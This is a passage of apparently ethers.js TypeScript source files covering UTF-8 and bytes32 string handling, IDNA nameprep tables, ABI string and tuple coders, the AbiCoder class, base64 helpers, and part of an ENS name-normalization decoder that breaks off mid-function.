String.fromCharCode(codePoint);\n }\n codePoint -= 0x10000;\n return String.fromCharCode(\n (((codePoint >> 10) & 0x3ff) + 0xd800),\n ((codePoint & 0x3ff) + 0xdc00)\n );\n }).join(\"\");\n}\n\nexport function toUtf8String(bytes: BytesLike, onError?: Utf8ErrorFunc): string {\n return _toUtf8String(getUtf8CodePoints(bytes, onError));\n}\n\nexport function toUtf8CodePoints(str: string, form: UnicodeNormalizationForm = UnicodeNormalizationForm.current): Array {\n return getUtf8CodePoints(toUtf8Bytes(str, form));\n}\n", "\"use strict\";\n\nimport { HashZero } from \"@ethersproject/constants\";\nimport { arrayify, BytesLike, concat, hexlify } from \"@ethersproject/bytes\";\n\nimport { toUtf8Bytes, toUtf8String } from \"./utf8\";\n\n\nexport function formatBytes32String(text: string): string {\n\n // Get the bytes\n const bytes = toUtf8Bytes(text);\n\n // Check we have room for null-termination\n if (bytes.length > 31) { throw new Error(\"bytes32 string must be less than 32 bytes\"); }\n\n // Zero-pad (implicitly null-terminates)\n return hexlify(concat([ bytes, HashZero ]).slice(0, 32));\n}\n\nexport function parseBytes32String(bytes: BytesLike): string {\n const data = arrayify(bytes);\n\n // Must be 32 bytes with a null-termination\n if (data.length !== 32) { throw new Error(\"invalid bytes32 - not 32 bytes long\"); }\n if (data[31] !== 0) { throw new Error(\"invalid bytes32 string - no null terminator\"); }\n\n // Find the null termination\n let length = 31;\n while (data[length - 1] === 0) { length--; }\n\n // Determine the string value\n return toUtf8String(data.slice(0, length));\n}\n\n", "\"use strict\";\n\nimport { toUtf8CodePoints, _toUtf8String, UnicodeNormalizationForm } from \"./utf8\";\n\ntype Ranged = {\n l: number, // Lo value\n h: number, // High value (less the lo)\n d?: number, // Delta/stride (default: 1)\n s?: number, // Shift (default: 1)\n e?: Array // Exceptions to skip\n};\n\ntype Table = { [ src: number ]: Array };\n\nfunction bytes2(data: string): Array {\n if ((data.length % 4) !== 0) { throw new Error(\"bad data\"); }\n let result = [];\n for (let i = 0; i < data.length; i += 4) {\n result.push(parseInt(data.substring(i, i + 4), 16));\n }\n return result;\n}\n\nfunction createTable(data: string, func?: (value: string) => Array): Table {\n if (!func) {\n func = function(value: string) { return [ parseInt(value, 16) ]; }\n }\n\n let lo = 0;\n\n let result: Table = { };\n data.split(\",\").forEach((pair) => {\n let comps = pair.split(\":\");\n lo += parseInt(comps[0], 16);\n result[lo] = func(comps[1]);\n });\n\n return result;\n}\n\nfunction createRangeTable(data: string): Array {\n let hi = 0;\n return data.split(\",\").map((v) => {\n let comps = v.split(\"-\");\n if (comps.length === 1) {\n comps[1] = \"0\";\n } else if (comps[1] === \"\") {\n comps[1] = \"1\";\n }\n\n let lo = hi + parseInt(comps[0], 16);\n hi = parseInt(comps[1], 16);\n return { l: lo, h: hi };\n });\n}\n\nfunction matchMap(value: number, ranges: Array): Ranged {\n let lo = 0;\n for (let i = 0; i < ranges.length; i++) {\n let range = ranges[i];\n lo += range.l;\n if (value >= lo && value <= lo + range.h && ((value - lo) % (range.d || 1)) === 0) {\n if (range.e && range.e.indexOf(value - lo) !== -1) { continue; }\n return range;\n }\n }\n return null;\n}\n\nconst Table_A_1_ranges = createRangeTable(\"221,13-1b,5f-,40-10,51-f,11-3,3-3,2-2,2-4,8,2,15,2d,28-8,88,48,27-,3-5,11-20,27-,8,28,3-5,12,18,b-a,1c-4,6-16,2-d,2-2,2,1b-4,17-9,8f-,10,f,1f-2,1c-34,33-14e,4,36-,13-,6-2,1a-f,4,9-,3-,17,8,2-2,5-,2,8-,3-,4-8,2-3,3,6-,16-6,2-,7-3,3-,17,8,3,3,3-,2,6-3,3-,4-a,5,2-6,10-b,4,8,2,4,17,8,3,6-,b,4,4-,2-e,2-4,b-10,4,9-,3-,17,8,3-,5-,9-2,3-,4-7,3-3,3,4-3,c-10,3,7-2,4,5-2,3,2,3-2,3-2,4-2,9,4-3,6-2,4,5-8,2-e,d-d,4,9,4,18,b,6-3,8,4,5-6,3-8,3-3,b-11,3,9,4,18,b,6-3,8,4,5-6,3-6,2,3-3,b-11,3,9,4,18,11-3,7-,4,5-8,2-7,3-3,b-11,3,13-2,19,a,2-,8-2,2-3,7,2,9-11,4-b,3b-3,1e-24,3,2-,3,2-,2-5,5,8,4,2,2-,3,e,4-,6,2,7-,b-,3-21,49,23-5,1c-3,9,25,10-,2-2f,23,6,3,8-2,5-5,1b-45,27-9,2a-,2-3,5b-4,45-4,53-5,8,40,2,5-,8,2,5-,28,2,5-,20,2,5-,8,2,5-,8,8,18,20,2,5-,8,28,14-5,1d-22,56-b,277-8,1e-2,52-e,e,8-a,18-8,15-b,e,4,3-b,5e-2,b-15,10,b-5,59-7,2b-555,9d-3,5b-5,17-,7-,27-,7-,9,2,2,2,20-,36,10,f-,7,14-,4,a,54-3,2-6,6-5,9-,1c-10,13-1d,1c-14,3c-,10-6,32-b,240-30,28-18,c-14,a0,115-,3,66-,b-76,5,5-,1d,24,2,5-2,2,8-,35-2,19,f-10,1d-3,311-37f,1b,5a-b,d7-19,d-3,41,57-,68-4,29-3,5f,29-37,2e-2,25-c,2c-2,4e-3,30,78-3,64-,20,19b7-49,51a7-59,48e-2,38-738,2ba5-5b,222f-,3c-94,8-b,6-4,1b,6,2,3,3,6d-20,16e-f,41-,37-7,2e-2,11-f,5-b,18-,b,14,5-3,6,88-,2,bf-2,7-,7-,7-,4-2,8,8-9,8-2ff,20,5-b,1c-b4,27-,27-cbb1,f7-9,28-2,b5-221,56,48,3-,2-,3-,5,d,2,5,3,42,5-,9,8,1d,5,6,2-2,8,153-3,123-3,33-27fd,a6da-5128,21f-5df,3-fffd,3-fffd,3-fffd,3-fffd,3-fffd,3-fffd,3-fffd,3-fffd,3-fffd,3-fffd,3-fffd,3,2-1d,61-ff7d\");\n\n// @TODO: Make this relative...\nconst Table_B_1_flags = \"ad,34f,1806,180b,180c,180d,200b,200c,200d,2060,feff\".split(\",\").map((v) => parseInt(v, 16));\n\nconst Table_B_2_ranges: Array = [\n { h: 25, s: 32, l: 65 },\n { h: 30, s: 32, e: [ 23 ], l: 127 },\n { h: 54, s: 1, e: [ 48 ], l: 64, d: 2 },\n { h: 14, s: 1, l: 57, d: 2 },\n { h: 44, s: 1, l: 17, d: 2 },\n { h: 10, s: 1, e: [ 2, 6, 8 ], l: 61, d: 2 },\n { h: 16, s: 1, l: 68, d: 2 },\n { h: 84, s: 1, e: [ 18, 24, 66 ], l: 19, d: 2 },\n { h: 26, s: 32, e: [ 17 ], l: 435 },\n { h: 22, s: 1, l: 71, d: 2 },\n { h: 15, s: 80, l: 40 },\n { h: 31, s: 32, l: 16 },\n { h: 32, s: 1, l: 80, d: 2 },\n { h: 52, s: 1, l: 42, d: 2 },\n { h: 12, s: 1, l: 55, d: 2 },\n { h: 40, s: 1, e: [ 38 ], l: 15, d: 2 },\n { h: 14, s: 1, l: 48, d: 2 },\n { h: 37, s: 48, l: 49 },\n { h: 148, s: 1, l: 6351, d: 2 },\n { h: 88, s: 1, l: 160, d: 2 },\n { h: 15, s: 16, l: 704 },\n { h: 25, s: 26, l: 854 },\n { h: 25, s: 32, l: 55915 },\n { h: 37, s: 40, l: 1247 },\n { h: 25, s: -119711, l: 53248 },\n { h: 25, s: -119763, l: 52 },\n { h: 25, s: -119815, l: 52 },\n { h: 25, s: -119867, e: [ 1, 4, 5, 7, 8, 11, 12, 17 ], l: 52 },\n { h: 25, s: -119919, l: 52 },\n { h: 24, s: -119971, e: [ 2, 7, 8, 17 ], l: 52 },\n { h: 24, s: -120023, e: [ 2, 7, 13, 15, 16, 17 ], l: 52 },\n { h: 25, s: -120075, l: 52 },\n { h: 25, s: -120127, l: 52 },\n { h: 25, s: -120179, l: 52 },\n { h: 25, s: -120231, l: 52 },\n { h: 25, s: -120283, l: 52 },\n { h: 25, s: -120335, l: 52 },\n { h: 24, s: -119543, e: [ 17 ], l: 56 },\n { h: 24, s: -119601, e: [ 17 ], l: 58 },\n { h: 24, s: -119659, e: [ 17 ], l: 58 },\n { h: 24, s: -119717, e: [ 17 ], l: 58 },\n { h: 24, s: -119775, e: [ 17 ], l: 58 }\n];\nconst Table_B_2_lut_abs = createTable(\"b5:3bc,c3:ff,7:73,2:253,5:254,3:256,1:257,5:259,1:25b,3:260,1:263,2:269,1:268,5:26f,1:272,2:275,7:280,3:283,5:288,3:28a,1:28b,5:292,3f:195,1:1bf,29:19e,125:3b9,8b:3b2,1:3b8,1:3c5,3:3c6,1:3c0,1a:3ba,1:3c1,1:3c3,2:3b8,1:3b5,1bc9:3b9,1c:1f76,1:1f77,f:1f7a,1:1f7b,d:1f78,1:1f79,1:1f7c,1:1f7d,107:63,5:25b,4:68,1:68,1:68,3:69,1:69,1:6c,3:6e,4:70,1:71,1:72,1:72,1:72,7:7a,2:3c9,2:7a,2:6b,1:e5,1:62,1:63,3:65,1:66,2:6d,b:3b3,1:3c0,6:64,1b574:3b8,1a:3c3,20:3b8,1a:3c3,20:3b8,1a:3c3,20:3b8,1a:3c3,20:3b8,1a:3c3\");\nconst Table_B_2_lut_rel = createTable(\"179:1,2:1,2:1,5:1,2:1,a:4f,a:1,8:1,2:1,2:1,3:1,5:1,3:1,4:1,2:1,3:1,4:1,8:2,1:1,2:2,1:1,2:2,27:2,195:26,2:25,1:25,1:25,2:40,2:3f,1:3f,33:1,11:-6,1:-9,1ac7:-3a,6d:-8,1:-8,1:-8,1:-8,1:-8,1:-8,1:-8,1:-8,9:-8,1:-8,1:-8,1:-8,1:-8,1:-8,b:-8,1:-8,1:-8,1:-8,1:-8,1:-8,1:-8,1:-8,9:-8,1:-8,1:-8,1:-8,1:-8,1:-8,1:-8,1:-8,9:-8,1:-8,1:-8,1:-8,1:-8,1:-8,c:-8,2:-8,2:-8,2:-8,9:-8,1:-8,1:-8,1:-8,1:-8,1:-8,1:-8,1:-8,49:-8,1:-8,1:-4a,1:-4a,d:-56,1:-56,1:-56,1:-56,d:-8,1:-8,f:-8,1:-8,3:-7\");\nconst Table_B_2_complex = createTable(\"df:00730073,51:00690307,19:02BC006E,a7:006A030C,18a:002003B9,16:03B903080301,20:03C503080301,1d7:05650582,190f:00680331,1:00740308,1:0077030A,1:0079030A,1:006102BE,b6:03C50313,2:03C503130300,2:03C503130301,2:03C503130342,2a:1F0003B9,1:1F0103B9,1:1F0203B9,1:1F0303B9,1:1F0403B9,1:1F0503B9,1:1F0603B9,1:1F0703B9,1:1F0003B9,1:1F0103B9,1:1F0203B9,1:1F0303B9,1:1F0403B9,1:1F0503B9,1:1F0603B9,1:1F0703B9,1:1F2003B9,1:1F2103B9,1:1F2203B9,1:1F2303B9,1:1F2403B9,1:1F2503B9,1:1F2603B9,1:1F2703B9,1:1F2003B9,1:1F2103B9,1:1F2203B9,1:1F2303B9,1:1F2403B9,1:1F2503B9,1:1F2603B9,1:1F2703B9,1:1F6003B9,1:1F6103B9,1:1F6203B9,1:1F6303B9,1:1F6403B9,1:1F6503B9,1:1F6603B9,1:1F6703B9,1:1F6003B9,1:1F6103B9,1:1F6203B9,1:1F6303B9,1:1F6403B9,1:1F6503B9,1:1F6603B9,1:1F6703B9,3:1F7003B9,1:03B103B9,1:03AC03B9,2:03B10342,1:03B1034203B9,5:03B103B9,6:1F7403B9,1:03B703B9,1:03AE03B9,2:03B70342,1:03B7034203B9,5:03B703B9,6:03B903080300,1:03B903080301,3:03B90342,1:03B903080342,b:03C503080300,1:03C503080301,1:03C10313,2:03C50342,1:03C503080342,b:1F7C03B9,1:03C903B9,1:03CE03B9,2:03C90342,1:03C9034203B9,5:03C903B9,ac:00720073,5b:00B00063,6:00B00066,d:006E006F,a:0073006D,1:00740065006C,1:0074006D,124f:006800700061,2:00610075,2:006F0076,b:00700061,1:006E0061,1:03BC0061,1:006D0061,1:006B0061,1:006B0062,1:006D0062,1:00670062,3:00700066,1:006E0066,1:03BC0066,4:0068007A,1:006B0068007A,1:006D0068007A,1:00670068007A,1:00740068007A,15:00700061,1:006B00700061,1:006D00700061,1:006700700061,8:00700076,1:006E0076,1:03BC0076,1:006D0076,1:006B0076,1:006D0076,1:00700077,1:006E0077,1:03BC0077,1:006D0077,1:006B0077,1:006D0077,1:006B03C9,1:006D03C9,2:00620071,3:00632215006B0067,1:0063006F002E,1:00640062,1:00670079,2:00680070,2:006B006B,1:006B006D,9:00700068,2:00700070006D,1:00700072,2:00730076,1:00770062,c723:00660066,1:00660069,1:0066006C,1:006600660069,1:00660066006C,1:00730074,1:00730074,d:05740576,1:05740565,1:0574056B,1:057E0576,1:0574056D\", bytes2);\n\nconst Table_C_ranges = createRangeTable(\"80-20,2a0-,39c,32,f71,18e,7f2-f,19-7,30-4,7-5,f81-b,5,a800-20ff,4d1-1f,110,fa-6,d174-7,2e84-,ffff-,ffff-,ffff-,ffff-,ffff-,ffff-,ffff-,ffff-,ffff-,ffff-,ffff-,ffff-,2,1f-5f,ff7f-20001\");\n\n\nfunction flatten(values: Array>): Array {\n return values.reduce((accum, value) => {\n value.forEach((value) => { accum.push(value); });\n return accum;\n }, [ ]);\n}\n\nexport function _nameprepTableA1(codepoint: number): boolean {\n return !!matchMap(codepoint, Table_A_1_ranges);\n}\n\nexport function _nameprepTableB2(codepoint: number): Array {\n let range = matchMap(codepoint, Table_B_2_ranges);\n if (range) { return [ codepoint + range.s ]; }\n\n let codes = Table_B_2_lut_abs[codepoint];\n if (codes) { return codes; }\n\n let shift = Table_B_2_lut_rel[codepoint];\n if (shift) { return [ codepoint + shift[0] ]; }\n\n let complex = Table_B_2_complex[codepoint];\n if (complex) { return complex; }\n\n return null;\n}\n\nexport function _nameprepTableC(codepoint: number): boolean {\n return !!matchMap(codepoint, Table_C_ranges);\n}\n\nexport function nameprep(value: string): string {\n\n // This allows platforms with incomplete normalize to bypass\n // it for very basic names which the built-in toLowerCase\n // will certainly handle correctly\n if (value.match(/^[a-z0-9-]*$/i) && value.length <= 59) { return value.toLowerCase(); }\n\n // Get the code points (keeping the current normalization)\n let codes = toUtf8CodePoints(value);\n\n codes = flatten(codes.map((code) => {\n // Substitute Table B.1 (Maps to Nothing)\n if (Table_B_1_flags.indexOf(code) >= 0) { return [ ]; }\n if (code >= 0xfe00 && code <= 0xfe0f) { return [ ]; }\n\n // Substitute Table B.2 (Case Folding)\n let codesTableB2 = _nameprepTableB2(code);\n if (codesTableB2) { return codesTableB2; }\n\n // No Substitution\n return [ code ];\n }));\n\n // Normalize using form KC\n codes = toUtf8CodePoints(_toUtf8String(codes), UnicodeNormalizationForm.NFKC);\n\n // Prohibit Tables C.1.2, C.2.2, C.3, C.4, C.5, C.6, C.7, C.8, C.9\n codes.forEach((code) => {\n if (_nameprepTableC(code)) {\n throw new Error(\"STRINGPREP_CONTAINS_PROHIBITED\");\n }\n });\n\n // Prohibit Unassigned Code Points (Table A.1)\n codes.forEach((code) => {\n if (_nameprepTableA1(code)) {\n throw new Error(\"STRINGPREP_CONTAINS_UNASSIGNED\");\n }\n });\n\n // IDNA extras\n let name = _toUtf8String(codes);\n\n // IDNA: 4.2.3.1\n if (name.substring(0, 1) === \"-\" || name.substring(2, 4) === \"--\" || name.substring(name.length - 1) === \"-\") {\n throw new Error(\"invalid hyphen\");\n }\n\n return name;\n}\n\n", "\"use strict\";\n\nimport { toUtf8Bytes, toUtf8String } from \"@ethersproject/strings\";\n\nimport { Reader, Writer } from \"./abstract-coder\";\nimport { DynamicBytesCoder } from \"./bytes\";\n\nexport class StringCoder extends DynamicBytesCoder {\n\n constructor(localName: string) {\n super(\"string\", localName);\n }\n\n defaultValue(): string {\n return \"\";\n }\n\n encode(writer: Writer, value: any): number {\n return super.encode(writer, toUtf8Bytes(value));\n }\n\n decode(reader: Reader): any {\n return toUtf8String(super.decode(reader));\n }\n}\n", "\"use strict\";\n\nimport { Coder, Reader, Writer } from \"./abstract-coder\";\nimport { pack, unpack } from \"./array\";\n\nexport class TupleCoder extends Coder {\n readonly coders: Array;\n\n constructor(coders: Array, localName: string) {\n let dynamic = false;\n const types: Array = [];\n coders.forEach((coder) => {\n if (coder.dynamic) { dynamic = true; }\n types.push(coder.type);\n });\n const type = (\"tuple(\" + types.join(\",\") + \")\");\n\n super(\"tuple\", type, localName, dynamic);\n this.coders = coders;\n }\n\n defaultValue(): any {\n const values: any = [ ];\n this.coders.forEach((coder) => {\n values.push(coder.defaultValue());\n });\n\n // We only output named properties for uniquely named coders\n const uniqueNames = this.coders.reduce((accum, coder) => {\n const name = coder.localName;\n if (name) {\n if (!accum[name]) { accum[name] = 0; }\n accum[name]++;\n }\n return accum;\n }, <{ [ name: string ]: number }>{ });\n\n // Add named values\n this.coders.forEach((coder: Coder, index: number) => {\n let name = coder.localName;\n if (!name || uniqueNames[name] !== 1) { return; }\n\n if (name === \"length\") { name = \"_length\"; }\n\n if (values[name] != null) { return; }\n\n values[name] = values[index];\n });\n\n return Object.freeze(values);\n }\n\n encode(writer: Writer, value: Array | { [ name: string ]: any }): number {\n return pack(writer, this.coders, value);\n }\n\n decode(reader: Reader): any {\n return reader.coerce(this.name, unpack(reader, this.coders));\n }\n}\n\n", "\"use strict\";\n\n// See: https://github.com/ethereum/wiki/wiki/Ethereum-Contract-ABI\n\nimport { arrayify, BytesLike } from \"@ethersproject/bytes\";\nimport { defineReadOnly } from \"@ethersproject/properties\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nimport { Coder, Reader, Result, Writer } from \"./coders/abstract-coder\";\nimport { AddressCoder } from \"./coders/address\";\nimport { ArrayCoder } from \"./coders/array\";\nimport { BooleanCoder } from \"./coders/boolean\";\nimport { BytesCoder } from \"./coders/bytes\";\nimport { FixedBytesCoder } from \"./coders/fixed-bytes\";\nimport { NullCoder } from \"./coders/null\";\nimport { NumberCoder } from \"./coders/number\";\nimport { StringCoder } from \"./coders/string\";\nimport { TupleCoder } from \"./coders/tuple\";\n\nimport { ParamType } from \"./fragments\";\n\n\nconst paramTypeBytes = new RegExp(/^bytes([0-9]*)$/);\nconst paramTypeNumber = new RegExp(/^(u?int)([0-9]*)$/);\n\n\nexport type CoerceFunc = (type: string, value: any) => any;\n\nexport class AbiCoder {\n readonly coerceFunc: CoerceFunc;\n\n constructor(coerceFunc?: CoerceFunc) {\n defineReadOnly(this, \"coerceFunc\", coerceFunc || null);\n }\n\n _getCoder(param: ParamType): Coder {\n\n switch (param.baseType) {\n case \"address\":\n return new AddressCoder(param.name);\n case \"bool\":\n return new BooleanCoder(param.name);\n case \"string\":\n return new StringCoder(param.name);\n case \"bytes\":\n return new BytesCoder(param.name);\n case \"array\":\n return new ArrayCoder(this._getCoder(param.arrayChildren), param.arrayLength, param.name);\n case \"tuple\":\n return new TupleCoder((param.components || []).map((component) => {\n return this._getCoder(component);\n }), param.name);\n case \"\":\n return new NullCoder(param.name);\n }\n\n // u?int[0-9]*\n let match = param.type.match(paramTypeNumber);\n if (match) {\n let size = parseInt(match[2] || \"256\");\n if (size === 0 || size > 256 || (size % 8) !== 0) {\n logger.throwArgumentError(\"invalid \" + match[1] + \" bit length\", \"param\", param);\n }\n return new NumberCoder(size / 8, (match[1] === \"int\"), param.name);\n }\n\n // bytes[0-9]+\n match = param.type.match(paramTypeBytes);\n if (match) {\n let size = parseInt(match[1]);\n if (size === 0 || size > 32) {\n logger.throwArgumentError(\"invalid bytes length\", \"param\", param);\n }\n return new FixedBytesCoder(size, param.name);\n }\n\n return logger.throwArgumentError(\"invalid type\", \"type\", param.type);\n }\n\n _getWordSize(): number { return 32; }\n\n _getReader(data: Uint8Array, allowLoose?: boolean): Reader {\n return new Reader(data, this._getWordSize(), this.coerceFunc, allowLoose);\n }\n\n _getWriter(): Writer {\n return new Writer(this._getWordSize());\n }\n\n getDefaultValue(types: ReadonlyArray): Result {\n const coders: Array = types.map((type) => this._getCoder(ParamType.from(type)));\n const coder = new TupleCoder(coders, \"_\");\n return coder.defaultValue();\n }\n\n encode(types: ReadonlyArray, values: ReadonlyArray): string {\n if (types.length !== values.length) {\n logger.throwError(\"types/values length mismatch\", Logger.errors.INVALID_ARGUMENT, {\n count: { types: types.length, values: values.length },\n value: { types: types, values: values }\n });\n }\n\n const coders = types.map((type) => this._getCoder(ParamType.from(type)));\n const coder = (new TupleCoder(coders, \"_\"));\n\n const writer = this._getWriter();\n coder.encode(writer, values);\n return writer.data;\n }\n\n decode(types: ReadonlyArray, data: BytesLike, loose?: boolean): Result {\n const coders: Array = types.map((type) => this._getCoder(ParamType.from(type)));\n const coder = new TupleCoder(coders, \"_\");\n return coder.decode(this._getReader(arrayify(data), loose));\n }\n}\n\nexport const defaultAbiCoder: AbiCoder = new AbiCoder();\n\n", "import { keccak256 } from \"@ethersproject/keccak256\";\nimport { toUtf8Bytes } from \"@ethersproject/strings\";\n\nexport function id(text: string): string {\n return keccak256(toUtf8Bytes(text));\n}\n", "export const version = \"hash/5.7.0\";\n", "\"use strict\";\n\nexport { decode, encode } from \"./base64\";\n", "\"use strict\";\n\nimport { arrayify, BytesLike } from \"@ethersproject/bytes\";\n\nexport function decode(textData: string): Uint8Array {\n textData = atob(textData);\n const data = [];\n for (let i = 0; i < textData.length; i++) {\n data.push(textData.charCodeAt(i));\n }\n return arrayify(data);\n}\n\nexport function encode(data: BytesLike): string {\n data = arrayify(data);\n let textData = \"\";\n for (let i = 0; i < data.length; i++) {\n textData += String.fromCharCode(data[i]);\n }\n return btoa(textData);\n}\n\n\n", "/**\n * MIT License\n *\n * Copyright (c) 2021 Andrew Raffensperger\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n * This is a near carbon-copy of the original source (link below) with the\n * TypeScript typings added and a few tweaks to make it ES3-compatible.\n *\n * See: https://github.com/adraffy/ens-normalize.js\n */\n\nexport type Numbers = Uint8Array | Array;\nexport type NextFunc = (...args: Array) => number;\n\n// https://github.com/behnammodi/polyfill/blob/master/array.polyfill.js\nfunction flat(array: Array, depth?: number): Array {\n if (depth == null) { depth = 1; }\n const result: Array = [];\n\n const forEach = result.forEach;\n\n const flatDeep = function (arr: Array, depth: number) {\n forEach.call(arr, function (val: any) {\n if (depth > 0 && Array.isArray(val)) {\n flatDeep(val, depth - 1);\n } else {\n result.push(val);\n }\n });\n };\n\n flatDeep(array, depth);\n return result;\n}\n\nfunction fromEntries(array: Array<[T, U]>): Record {\n const result: Record = >{ };\n for (let i = 0; i < array.length; i++) {\n const value = array[i];\n result[value[0]] = value[1];\n }\n return result;\n}\n\nexport function decode_arithmetic(bytes: Numbers): Array {\n\tlet pos = 0;\n\tfunction u16() { return (bytes[pos++] << 8) | bytes[pos++]; }\n\t\n\t// decode the frequency table\n\tlet symbol_count = u16();\n\tlet total = 1;\n\tlet acc = [0, 1]; // first symbol has frequency 1\n\tfor (let i = 1; i < symbol_count; i++) {\n\t\tacc.push(total += u16());\n\t}\n\n\t// skip the sized-payload that the last 3 symbols index into\n\tlet skip = u16();\n\tlet pos_payload = pos;\n\tpos += skip;\n\n\tlet read_width = 0;\n\tlet read_buffer = 0; \n\tfunction read_bit() {\n\t\tif (read_width == 0) {\n\t\t\t// this will read beyond end of buffer\n\t\t\t// but (undefined|0) => zero pad\n\t\t\tread_buffer = (read_buffer << 8) | bytes[pos++];\n\t\t\tread_width = 8;\n\t\t}\n\t\treturn (read_buffer >> --read_width) & 1;\n\t}\n\n\tconst N = 31;\n\tconst FULL = 2**N;\n\tconst HALF = FULL >>> 1;\n\tconst QRTR = HALF >> 1;\n\tconst MASK = FULL - 1;\n\n\t// fill register\n\tlet register = 0;\n\tfor (let i = 0; i < N; i++) register = (register << 1) | read_bit();\n\n\tlet symbols = [];\n\tlet low = 0;\n\tlet range = FULL; // treat like a float\n\twhile (true) {\n\t\tlet value = Math.floor((((register - low + 1) * total) - 1) / range);\n\t\tlet start = 0;\n\t\tlet end = symbol_count;\n\t\twhile (end - start > 1) { // binary search\n\t\t\tlet mid = (start + end) >>> 1;\n\t\t\tif (value < acc[mid]) {\n\t\t\t\tend = mid;\n\t\t\t} else {\n\t\t\t\tstart = mid;\n\t\t\t}\n\t\t}\n\t\tif (start == 0) break; // first symbol is end mark\n\t\tsymbols.push(start);\n\t\tlet a = low + Math.floor(range * acc[start] / total);\n\t\tlet b = low + Math.floor(range * acc[start+1] / total) - 1\n\t\twhile (((a ^ b) & HALF) == 0) {\n\t\t\tregister = (register << 1) & MASK | read_bit();\n\t\t\ta = (a << 1) & MASK;\n\t\t\tb = (b << 1) & MASK | 1;\n\t\t}\n\t\twhile (a & ~b & QRTR) {\n\t\t\tregister = (register & HALF) | ((register << 1) & (MASK >>> 1)) | read_bit();\n\t\t\ta = (a << 1) ^ HALF;\n\t\t\tb = ((b ^ HALF) << 1) | HALF | 1;\n\t\t}\n\t\tlow = a;\n\t\trange = 1 + b - a;\n\t}\n\tlet offset = symbol_count - 4;\n\treturn symbols.map(x => { // index into payload\n\t\tswitch (x - offset) {\n\t\t\tcase 3: return offset + 0x10100 + ((bytes[pos_payload++] << 16) | (bytes[pos_payload++] << 8) | bytes[pos_payload++]);\n\t\t\tcase 2: return offset + 0x100 + ((bytes[pos_payload++] << 8) | bytes[pos_payload++]);\n\t\t\tcase 1: return offset + bytes[pos_payload++];\n\t\t\tdefault: return x - 1;\n\t\t}\n\t});\n}\t\n\n\n// returns an iterator which returns the next symbol\nexport function read_payload(v: Numbers): NextFunc {\n\tlet pos = 0;\n\treturn () => v[pos++];\n}\nexport function read_compressed_payload(bytes: Numbers): NextFunc {\n\treturn read_payload(decode_arithmetic(bytes));\n}\n\n// eg. [0,1,2,3...] => [0,-1,1,-2,...]\nexport function signed(i: number): number { \n\treturn (i & 1) ? (~i >> 1) : (i >> 1);\n}\n\nfunction read_counts(n: number, next: NextFunc): Array {\n\tlet v = Array(n);\n\tfor (let i = 0; i < n; i++) v[i] = 1 + next();\n\treturn v;\n}\n\nfunction read_ascending(n: number, next: NextFunc): Array {\n\tlet v = Array(n);\n\tfor (let i = 0, x = -1; i < n; i++) v[i] = x += 1 + next();\n\treturn v;\n}\n\nfunction read_deltas(n: number, next: NextFunc): Array {\n\tlet v = Array(n);\n\tfor (let i = 0, x = 0; i < n; i++) v[i] = x += signed(next());\n\treturn v;\n}\n\nexport function read_member_array(next: NextFunc, lookup?: Record) {\n let v = read_ascending(next(), next);\n let n = next();\n let vX = read_ascending(n, next);\n let vN = read_counts(n, next);\n for (let i = 0; i < n; i++) {\n for (let j = 0; j < vN[i]; j++) {\n v.push(vX[i] + j);\n }\n }\n return lookup ? v.map(x => lookup[x]) : v;\n}\n\n// returns array of \n// [x, ys] => single replacement rule\n// [x, ys, n, dx, dx] => linear map\nexport function read_mapped_map(next: NextFunc): Record> {\n\tlet ret = [];\n\twhile (true) {\n\t\tlet w = next();\n\t\tif (w == 0) break;\n\t\tret.push(read_linear_table(w, next));\n\t}\n\twhile (true) {\n\t\tlet w = next() - 1;\n\t\tif (w < 0) break;\n\t\tret.push(read_replacement_table(w, next));\n\t}\n\treturn fromEntries>(flat(ret));\n}\n\nexport function read_zero_terminated_array(next: NextFunc): Array {\n\tlet v = [];\n\twhile (true) {\n\t\tlet i = next();\n\t\tif (i == 0) break;\n\t\tv.push(i);\n\t}\n\treturn v;\n}\n\nfunction read_transposed(n: number, w: number, next: NextFunc): Array> {\n let m = Array(n).fill(undefined).map(() => []);\n for (let i = 0; i < w; i++) {\n read_deltas(n, next).forEach((x, j) => m[j].push(x));\n }\n return m;\n}\n\n\nfunction read_linear_table(w: number, next: NextFunc): Array>> {\n\tlet dx = 1 + next();\n\tlet dy = next();\n\tlet vN = read_zero_terminated_array(next);\n\tlet m = read_transposed(vN.length, 1+w, next);\n\treturn flat(m.map((v, i) => {\n\t const x = v[0], ys = v.slice(1);\n\t\t//let [x, ...ys] = v;\n\t\t//return Array(vN[i]).fill().map((_, j) => {\n\t\treturn Array(vN[i]).fill(undefined).map((_, j) => {\n\t\t\tlet j_dy = j * dy;\n\t\t\treturn [x + j * dx, ys.map(y => y + j_dy)];\n\t\t});\n\t}));\n}\n\nfunction read_replacement_table(w: number, next: NextFunc): Array<[ number, Array ]> {\n\tlet n = 1 + next();\n\tlet m = read_transposed(n, 1+w, next);\n\treturn m.map(v => [v[0], v.slice(1)]);\n}\n\nexport type Branch = {\n set: Set;\n node: Node;\n};\n\nexport type Node = {\n branches: Array;\n valid: number;\n fe0f: boolean;\n save: boolean;\n check: boolean;\n};\n\nexport function read_emoji_trie(next: NextFunc): Node {\n\tlet sorted = read_member_array(next).sort((a, b) => a - b);\n\treturn read();\n\tfunction read(): Node {\n\t\tlet branches = [];\n\t\twhile (true) {\n\t\t\tlet keys = read_member_array(next, sorted);\n\t\t\tif (keys.length == 0) break;\n\t\t\tbranches.push({set: new Set(keys), node: 